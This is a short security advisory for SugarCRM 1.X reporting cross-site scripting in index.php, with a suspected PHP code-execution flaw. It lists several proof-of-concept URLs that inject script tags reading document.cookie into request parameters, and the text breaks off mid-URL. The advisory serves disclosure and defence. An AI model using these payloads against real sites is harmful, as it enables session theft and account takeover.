SugarCRM 1.X - Manage leads, opportunities, contacts and more inside of
a 
state-of-the-art user interface. Built on PHP and MySQL

Web : http://sugarcrm.sourceforge.net

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerability

A1. In the main script (index.php) various parameters, that are used to
write the
html code, not are verified. 

At least the following URLs are vulnerables to XSS (Cross Site
Scripting) attacks : 

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module="><script>alert(document.cookie)</script>&return_action=index

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module=&return_action="><script>alert(document.cookie)</script>

http://<site-with-sugarcrm>/sugarcrm/index.php?name=%22%3E%3Cscript%
3Ealert%28document.cookie%29%3C%2Fscript%
3E&address_city=&website=&phone=&action=ListView&query=true&module=Accounts&button=Search

And the following are XSS vulnerables and, may be, arbitrary PHP remote
code execution 
vulnerables as well : 

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts"><script>alert(document.cookie)</script>&record=d676f046-1be5-dc36-114e-4138f972bf5d

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts''''&record=[RECORD
